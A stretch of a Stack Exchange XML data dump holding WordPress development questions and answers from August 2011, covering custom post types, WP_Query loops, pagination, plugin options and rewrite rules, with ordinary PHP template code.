  <row Id="26075" PostTypeId="2" ParentId="26071" CreationDate="2011-08-16T20:14:36.510" Score="3" ViewCount="" Body="&lt;p&gt;Thinking about it as including pages is a little off. Think about it as retrieving and including page's content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page = get_page_by_title('About The Tests');&#xA;$content = apply_filters('the_content', $page-&amp;gt;post_content);&#xA;echo $content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another way would be set up special sidebar for that and let client add/remove/content via widgets. But such can easily be overkill.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-16T20:14:36.510" CommentCount="5" />
  <row Id="26076" PostTypeId="2" ParentId="26070" CreationDate="2011-08-16T20:19:35.200" Score="0" ViewCount="" Body="&lt;p&gt;Depending on how Canvas calls in those files, you might not be able to do this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they're using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/locate_template&quot; rel=&quot;nofollow&quot;&gt;locate template&lt;/a&gt; or something similar (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_template_part&quot; rel=&quot;nofollow&quot;&gt;get_template_part&lt;/a&gt;, for instance), you'll just need to create your own includes folder in the child theme and name the files the same as their couterparts in the parent theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the parent theme uses require or require_once (or include/include_once), there's not going to be an easy way to override those parent theme files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are you trying to replace?&lt;/p&gt;&#xA;" OwnerUserId="6035" LastActivityDate="2011-08-16T20:19:35.200" CommentCount="8" />
  <row Id="26078" PostTypeId="2" ParentId="1395" CreationDate="2011-08-16T20:27:37.230" Score="0" ViewCount="" Body="&lt;p&gt;I think saving custom taxonomy meta/extra fields/custom fields in option table is something killing your site performance. Like if your site is heavy weighted(lots of visitor, lots of hits) then for large number of custom taxonomy the option table will be huge. and it will increase the load time for get_option() query for other plugins or I think this will hamper performance a lot. we should save unnecessary things in option table or increase rows in option table.&lt;/p&gt;&#xA;" OwnerUserId="6343" LastActivityDate="2011-08-16T20:27:37.230" />
  <row Id="26080" PostTypeId="2" ParentId="26071" CreationDate="2011-08-16T20:55:13.237" Score="1" ViewCount="" Body="&lt;p&gt;Another great way of accomplishing something like this would be taking advantage of WordPress &lt;strong&gt;Custom Post Types&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could set up 3 different types of features for easy use in the WordPress back-end.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;First, Set up the Custom Post Types&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To do this, open up your theme's functions.php file and include something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function custom_register_post_types() {&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x('People', 'post type general name'),&#xA;        'singular_name' =&amp;gt; _x('Person', 'post type singular name'),&#xA;        'add_new' =&amp;gt; __('Add New'),&#xA;        'add_new_item' =&amp;gt; __('Add New Person'),&#xA;        'edit_item' =&amp;gt; __('Edit Person'),&#xA;        'new_item' =&amp;gt; __('New Person'),&#xA;        'view_item' =&amp;gt; __('View Person'),&#xA;        'search_items' =&amp;gt; __('Search People'),&#xA;        'not_found' =&amp;gt; __('No People found'),&#xA;        'not_found_in_trash' =&amp;gt; __('No People found in Trash'),&#xA;        'menu_name' =&amp;gt; 'People'&#xA;    );&#xA;    $rewrite = array(&#xA;        'slug' =&amp;gt; 'people'&#xA;    );&#xA;    $supports = array('title','editor');&#xA;    $args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'show_in_menu' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; 'people',&#xA;        'rewrite' =&amp;gt; $rewrite,&#xA;        'has_archive' =&amp;gt; true,&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'supports' =&amp;gt; $supports&#xA;    );&#xA;    register_post_type('people',$args);&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x('Places', 'post type general name'),&#xA;        'singular_name' =&amp;gt; _x('Place', 'post type singular name'),&#xA;        'add_new' =&amp;gt; __('Add New'),&#xA;        'add_new_item' =&amp;gt; __('Add New Place'),&#xA;        'edit_item' =&amp;gt; __('Edit Place'),&#xA;        'new_item' =&amp;gt; __('New Place'),&#xA;        'view_item' =&amp;gt; __('View Place'),&#xA;        'search_items' =&amp;gt; __('Search Places'),&#xA;        'not_found' =&amp;gt; __('No Places found'),&#xA;        'not_found_in_trash' =&amp;gt; __('No Places found in Trash'),&#xA;        'menu_name' =&amp;gt; 'Places'&#xA;    );&#xA;    $rewrite = array(&#xA;        'slug' =&amp;gt; 'places'&#xA;    );&#xA;    $supports = array('title','editor');&#xA;    $args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'show_in_menu' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; 'places',&#xA;        'rewrite' =&amp;gt; $rewrite,&#xA;        'has_archive' =&amp;gt; true,&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'supports' =&amp;gt; $supports&#xA;    );&#xA;    register_post_type('places',$args);&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x('Things', 'post type general name'),&#xA;        'singular_name' =&amp;gt; _x('Thing', 'post type singular name'),&#xA;        'add_new' =&amp;gt; __('Add New'),&#xA;        'add_new_item' =&amp;gt; __('Add New Thing'),&#xA;        'edit_item' =&amp;gt; __('Edit Thing'),&#xA;        'new_item' =&amp;gt; __('New Thing'),&#xA;        'view_item' =&amp;gt; __('View Thing'),&#xA;        'search_items' =&amp;gt; __('Search Things'),&#xA;        'not_found' =&amp;gt; __('No Things found'),&#xA;        'not_found_in_trash' =&amp;gt; __('No Things found in Trash'),&#xA;        'menu_name' =&amp;gt; 'Things'&#xA;    );&#xA;    $rewrite = array(&#xA;        'slug' =&amp;gt; 'things'&#xA;    );&#xA;    $supports = array('title','editor');&#xA;    $args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'show_in_menu' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; 'things',&#xA;        'rewrite' =&amp;gt; $rewrite,&#xA;        'has_archive' =&amp;gt; true,&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'supports' =&amp;gt; $supports&#xA;    );&#xA;    register_post_type('things',$args);&#xA;}&#xA;add_action('init', 'custom_register_post_types', 0);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have written a reference on the specifics of what is going on with this code &lt;a href=&quot;http://drewgourley.com/custom-post-types-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&#xA;You can also look into it on the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What this will do is set up 3 new menus in the main left hand navigation of WordPress giving each of these types their own space in the interface. In this case, People, Places, and Things. (customize logically to suit your needs) Right now, these are set up to only show a Title bar and an Editor pane.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Query the Post Types for use on your homepage&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I like to set up new query objects in order to keep everything nice and separated. Plus, you can call the objects in and out of other loops, which can be handy sometimes. Mix these (or something customized to suit your needs) into your templates to bring them into the desired pages.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array( 'post_type' =&amp;gt; 'people', 'numberposts' =&amp;gt; '1' );&#xA;$people = new WP_Query($args);&#xA;if ( $people-&amp;gt;have_posts() ) : &#xA;    while ( $people-&amp;gt;have_posts() ) : &#xA;        $people-&amp;gt;the_post(); &#xA;        global $more;&#xA;        $more = 0;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;people-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;    &amp;lt;div class=&quot;post-entry&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;post-title&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;post-content&quot;&amp;gt;&#xA;            &amp;lt;?php edit_post_link( 'Edit', '&amp;lt;h5 class=&quot;edit-link&quot;&amp;gt;', '&amp;lt;/h5&amp;gt;' ); ?&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    endwhile;&#xA;endif;&#xA;wp_reset_query();&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;$args = array( 'post_type' =&amp;gt; 'places', 'numberposts' =&amp;gt; '1' );&#xA;$places = new WP_Query($args);&#xA;if ( $places-&amp;gt;have_posts() ) : &#xA;    while ( $places-&amp;gt;have_posts() ) : &#xA;        $places-&amp;gt;the_post(); &#xA;        global $more;&#xA;        $more = 0;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;places-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;    &amp;lt;div class=&quot;post-entry&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;post-title&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;post-content&quot;&amp;gt;&#xA;            &amp;lt;?php edit_post_link( 'Edit', '&amp;lt;h5 class=&quot;edit-link&quot;&amp;gt;', '&amp;lt;/h5&amp;gt;' ); ?&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    endwhile;&#xA;endif;&#xA;wp_reset_query();&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;$args = array( 'post_type' =&amp;gt; 'things', 'numberposts' =&amp;gt; '1' );&#xA;$things = new WP_Query($args);&#xA;if ( $things-&amp;gt;have_posts() ) : &#xA;    while ( $things-&amp;gt;have_posts() ) : &#xA;        $things-&amp;gt;the_post(); &#xA;        global $more;&#xA;        $more = 0;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;things-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;    &amp;lt;div class=&quot;post-entry&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;post-title&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;post-content&quot;&amp;gt;&#xA;            &amp;lt;?php edit_post_link( 'Edit', '&amp;lt;h5 class=&quot;edit-link&quot;&amp;gt;', '&amp;lt;/h5&amp;gt;' ); ?&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    endwhile;&#xA;endif;&#xA;wp_reset_query();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those are just some quick and dirty examples of the way you could set up the query and loop. These will just set up and display the most recent or top post from each of the Custom Post Types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further instruction on the WP_Query class can be found &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Everything else is just HTML and CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enjoy!&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-08-16T20:55:13.237" CommentCount="5" />
  <row Id="26082" PostTypeId="2" ParentId="26069" CreationDate="2011-08-16T21:40:32.487" Score="0" ViewCount="" Body="&lt;p&gt;It seems to me the quickest way to do that is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add your specific thumbnail size to functions.php. &lt;a href=&quot;http://codex.wordpress.org/Post_Thumbnails#Add_New_Post_Thumbnail_Sizes&quot; rel=&quot;nofollow&quot;&gt;Here's the code to do it&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Find the specific template file in your theme that displays your custom content type, then modify it to display your recently added thumbnail size. &lt;a href=&quot;http://codex.wordpress.org/Post_Thumbnails#Thumbnail_Sizes&quot; rel=&quot;nofollow&quot;&gt;Use the following code&lt;/a&gt;, enter the specific thumbnail id you added in point 1 as the parameter.&lt;/li&gt;&#xA;&lt;li&gt;Additionally, you can use the &lt;strong&gt;AJAX Thumbnail Rebuild&lt;/strong&gt; plugin so WordPress create thumbnails in your specific size. This is especially useful if you already have a running site with plenty of thumbnails in place.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7737" LastEditorUserId="7737" LastEditorDisplayName="" LastEditDate="2011-08-17T15:24:41.333" LastActivityDate="2011-08-17T15:24:41.333" />
  <row Id="26083" PostTypeId="2" ParentId="12302" CreationDate="2011-08-16T22:18:38.057" Score="0" ViewCount="" Body="&lt;p&gt;Use this plugin: &lt;a href=&quot;http://flagrantdisregard.com/feedburner/&quot; rel=&quot;nofollow&quot;&gt;http://flagrantdisregard.com/feedburner/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It automatically redirect all /feed/ hits to the specified FB URL, regardless of theme or linkage.&lt;/p&gt;&#xA;" OwnerUserId="7948" LastActivityDate="2011-08-16T22:18:38.057" />
  <row Id="26084" PostTypeId="1" AcceptedAnswerId="26149" CreationDate="2011-08-16T22:18:51.387" Score="0" ViewCount="39" Body="&lt;p&gt;I want to get the link to a category (specified by id) but with a paged value (e.g. page 3 of category id 4).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking into &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_category_link&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_category_link()&lt;/code&gt;&lt;sup&gt;&lt;em&gt;Codex&lt;/em&gt;&lt;/sup&gt;&lt;/a&gt;, but it only returns the link to the first page of the category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a build-in function that I can make use of to get the link to a category page that reflects the blogs URL-layout settings (&lt;code&gt;?paged=3&lt;/code&gt;/ &lt;code&gt;/page/3&lt;/code&gt;)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I added &lt;a href=&quot;http://wordpress.stackexchange.com/questions/26084/get-paged-category-link-programmatically/26149#26149&quot;&gt;my solution as an answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-08-17T14:11:49.477" LastActivityDate="2011-08-17T14:52:23.060" Title="Get paged category link programmatically" Tags="&lt;categories&gt;&lt;links&gt;&lt;api&gt;" AnswerCount="2" CommentCount="8" />
  <row Id="26085" PostTypeId="2" ParentId="26016" CreationDate="2011-08-16T22:19:19.603" Score="1" ViewCount="" Body="&lt;p&gt;I appreciate all the answers but $post_id was the issue it should have been $post-&gt;ID &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(get_post_meta( $post-&amp;gt;ID, 'ratings_users', true ) =='0' ) {&#xA;}else{&#xA;the_ratings();&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7924" LastActivityDate="2011-08-16T22:19:19.603" CommentCount="1" />
  <row Id="26086" PostTypeId="1" CreationDate="2011-08-16T22:33:22.077" Score="0" ViewCount="49" Body="&lt;p&gt;I'd like to list my categories in a loop from a-z, the code i currently have just keeps repeating over and over im not sure what the problem is but the format should look something like.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent Category &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Child Category &lt;/li&gt;&#xA;&lt;li&gt;Child Category &lt;/li&gt;&#xA;&lt;li&gt;Child Category &lt;/li&gt;&#xA;&lt;li&gt;Child Category&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$args = array( 'orderby' =&amp;gt; 'name','order' =&amp;gt; 'ASC' );&#xA;$categories = get_categories( $args );&#xA;foreach($categories as $category) {&#xA;    echo '&amp;lt;p&amp;gt;&amp;lt;a href=&quot;'.get_category_link( $category-&amp;gt;term_id ).'&quot;&amp;gt;'.$category-&amp;gt;category_nicename.'&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;';&#xA;    echo '&amp;lt;p class=&quot;cat-child&quot;&amp;gt;&amp;lt;a href=&quot;'.get_category_link( $category-&amp;gt;term_id ).'&quot;&amp;gt;'.$category-&amp;gt;child.'&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7924" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-08-17T09:06:05.887" LastActivityDate="2011-08-17T09:06:05.887" Title="a-z list,  categories and sub categories in loop" Tags="&lt;categories&gt;&lt;the-loop&gt;" AnswerCount="2" CommentCount="7" />
  <row Id="26087" PostTypeId="1" AcceptedAnswerId="26089" CreationDate="2011-08-16T22:35:41.137" Score="0" ViewCount="35" Body="&lt;p&gt;What is the best way to go about setting up default values for a plugin? Should I just insert those values into the wp_options table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AND...if that's the best way to go about it, I have another question. My options are listed as a group which currently looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a:4:{s:26:&quot;nc_location_drop_down_zoom&quot;;s:2:&quot;14&quot;;s:17:&quot;nc_location_width&quot;;s:3:&quot;200&quot;;s:29:&quot;nc_location_drop_down_maptype&quot;;s:7:&quot;roadmap&quot;;s:11:&quot;text_string&quot;;s:0:&quot;&quot;;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a serialized array? How do I do an insert like this into the table? (I realized this is more of an sql question...)&lt;/p&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-08-17T00:57:17.677" Title="How to set up default values for a plugin?" Tags="&lt;options&gt;&lt;sql&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="26088" PostTypeId="1" CreationDate="2011-08-16T22:48:34.723" Score="-2" ViewCount="20" Body="&lt;p&gt;I need a wordpress plugin or any way out through custom field, by which i can have a facebook icon on every page of my website and which will be linking to different facebook pages&lt;/p&gt;&#xA;" OwnerUserId="732" LastEditorUserId="732" LastEditorDisplayName="" LastEditDate="2011-08-17T10:06:20.240" LastActivityDate="2011-08-17T10:06:20.240" Title="Each page of wordpress website linking to different facebook page" Tags="&lt;plugins&gt;&lt;facebook&gt;" CommentCount="2" />
  <row Id="26089" PostTypeId="2" ParentId="26087" CreationDate="2011-08-16T22:53:59.143" Score="0" ViewCount="" Body="&lt;p&gt;Use the &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Settings API&lt;/a&gt; and save your data in a single option as an array, WordPress will serialize the data for you.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-16T22:53:59.143" CommentCount="2" />
  <row Id="26090" PostTypeId="1" CreationDate="2011-08-16T23:04:19.890" Score="0" ViewCount="14" Body="&lt;p&gt;is there any way, to get the edited version of an image?&#xA;For thumbnails it works, but how do i get this version also from another image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Lisa&lt;/p&gt;&#xA;" OwnerUserId="7950" LastActivityDate="2011-08-16T23:04:19.890" Title="Get Edited Version of an Image" Tags="&lt;images&gt;&lt;post-thumbnails&gt;&lt;image-resize&gt;" />
  <row Id="26091" PostTypeId="2" ParentId="25894" CreationDate="2011-08-16T23:16:52.020" Score="-1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-upload-dir/&quot; rel=&quot;nofollow&quot;&gt;custom-upload-dir&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2011-08-16T23:16:52.020" />
  <row Id="26092" PostTypeId="1" CreationDate="2011-08-16T23:35:46.040" Score="3" ViewCount="73" Body="&lt;p&gt;I'm attempting to write a knowledge base plugin to consume the Salesforce API and pull in solutions in a RESTful style application path; however, some of the core plugin concepts escape me. For example, use of &lt;a href=&quot;http://codex.wordpress.org/Rewrite_API/add_rewrite_tag&quot; rel=&quot;nofollow&quot;&gt;add_rewrite_tag&lt;/a&gt; from the Rewrite API produces the following argument error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Missing argument 3 for WP_Rewrite::add_rewrite_tag()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Forgive my ignorance with the Wordpress core, but doesn't the documentation only describe two arguments? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than chase an argument error which probably won't help me much in the grand scheme of things, I would like to start simple and produce statically generated content at a custom URL. For example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://example.com/knowledge-base/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where knowledge-base is handled by a rewrite rule via my custom plugin which in turn would output a simple &quot;Hello World&quot; message with the theme's header/footer wrapped around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of an existing plugin I can review that demonstrates rewrite concepts a little more clearly than the codex documentation? It seems most examples I've run across append content to existing pages/posts whereas I'm looking to generate something entirely new based on external content.&lt;/p&gt;&#xA;" OwnerUserId="7952" LastActivityDate="2011-08-17T09:40:06.697" Title="Plugin to Consume a Web Service" Tags="&lt;plugin-development&gt;&lt;rewrite-rules&gt;" AnswerCount="3" />
  <row Id="26093" PostTypeId="1" CreationDate="2011-08-16T23:09:46.423" Score="1" ViewCount="130" Body="&lt;p&gt;My question is not new but it just does not work with all found solutions in my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to display recent posts on single post using custom query_posts loop. The permalinks structure must be this one: /%category%/%postname%/ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress version: 3.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page has 2 loops: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;    &amp;lt;!--first content part--&amp;gt;&#xA;&amp;lt;?php endwhile; endif;?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;query_posts('posts_per_page=3&amp;amp;paged='.$paged);&#xA;&#xA;if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;    &amp;lt;!--recent posts--&amp;gt;&#xA;&amp;lt;?php endwhile; endif; wp_reset_query();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So calling next page like &lt;a href=&quot;http://www.domain.com/category/post-one/page/2/&quot; rel=&quot;nofollow&quot;&gt;http://www.domain.com/category/post-one/page/2/&lt;/a&gt;&#xA;simply strips off /page/2/ and does nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am desperate already for looking a working solution and not sure if its possible to fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="7954" LastActivityDate="2011-08-16T23:56:20.277" Title="Wordpress 3.2 query_posts and pagination, permalinks issue" Tags="&lt;php&gt;&lt;query&gt;&lt;pagination&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26094" PostTypeId="2" ParentId="26093" CreationDate="2011-08-16T23:56:20.277" Score="0" ViewCount="" Body="&lt;p&gt;From the WP Codex for WP_Query:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Show Posts from Current Page&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Display posts from current page:&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;$query = new WP_Query( 'paged=' . get_query_var( 'page' ) );&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Pagination Note:&lt;/strong&gt; You should set get_query_var( 'page' ); if you want your query to work with pagination. Since Wordpress 3.0.2, you do get_query_var( 'page' ) instead of get_query_var( 'paged' ). The pagination parameter 'paged' for WP_Query() remains the same.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Changing the query var from 'paged' to 'page' will result in the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;    &amp;lt;!--first content part--&amp;gt;&#xA;&amp;lt;?php endwhile; endif;?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;$paged = (get_query_var('page')) ? get_query_var('page') : 1;&#xA;query_posts('posts_per_page=3&amp;amp;paged='.$paged);&#xA;&#xA;if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;    &amp;lt;!--recent posts--&amp;gt;&#xA;&amp;lt;?php endwhile; endif; wp_reset_query();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7953" LastActivityDate="2011-08-16T23:56:20.277" CommentCount="4" />
  <row Id="26095" PostTypeId="1" AcceptedAnswerId="26097" CreationDate="2011-08-17T00:20:33.153" Score="2" ViewCount="55" Body="&lt;p&gt;If not, are there alternate solutions that can let me accomplish this? Do I need to develop my own plugin?&lt;/p&gt;&#xA;" OwnerUserId="7607" LastActivityDate="2011-08-17T00:51:51.803" Title="Is there an A/B testing plugin that lets you vary the heading, featured image, and content in a Wordpress post?" Tags="&lt;plugins&gt;&lt;testing&gt;&lt;posting&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="26096" PostTypeId="2" ParentId="26095" CreationDate="2011-08-17T00:48:44.493" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://getpremise.com/&quot; rel=&quot;nofollow&quot;&gt;Premise&lt;/a&gt; plugin from Copyblogger integrates with Google Optimizer and lets you create multiple versions of landing pages. It also contains some templates and lots of copy writing advice.&lt;/p&gt;&#xA;" OwnerUserId="3300" LastActivityDate="2011-08-17T00:48:44.493" CommentCount="3" />
  <row Id="26097" PostTypeId="2" ParentId="26095" CreationDate="2011-08-17T00:51:51.803" Score="2" ViewCount="" Body="&lt;p&gt;ShrimpTest is a simple and easy way to add AB testing all over a site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/shrimptest/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/shrimptest/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-17T00:51:51.803" CommentCount="1" />
  <row Id="26098" PostTypeId="2" ParentId="26092" CreationDate="2011-08-17T00:54:09.727" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;add_rewrite_tag&lt;/code&gt; function does indeed only take two arguments. The &lt;code&gt;$wp_rewrite-&amp;gt;add_rewrite_tag()&lt;/code&gt; function takes three. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you're using the base function and not trying to call the internal API calls.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-17T09:38:07.543" LastActivityDate="2011-08-17T09:38:07.543" CommentCount="1" />
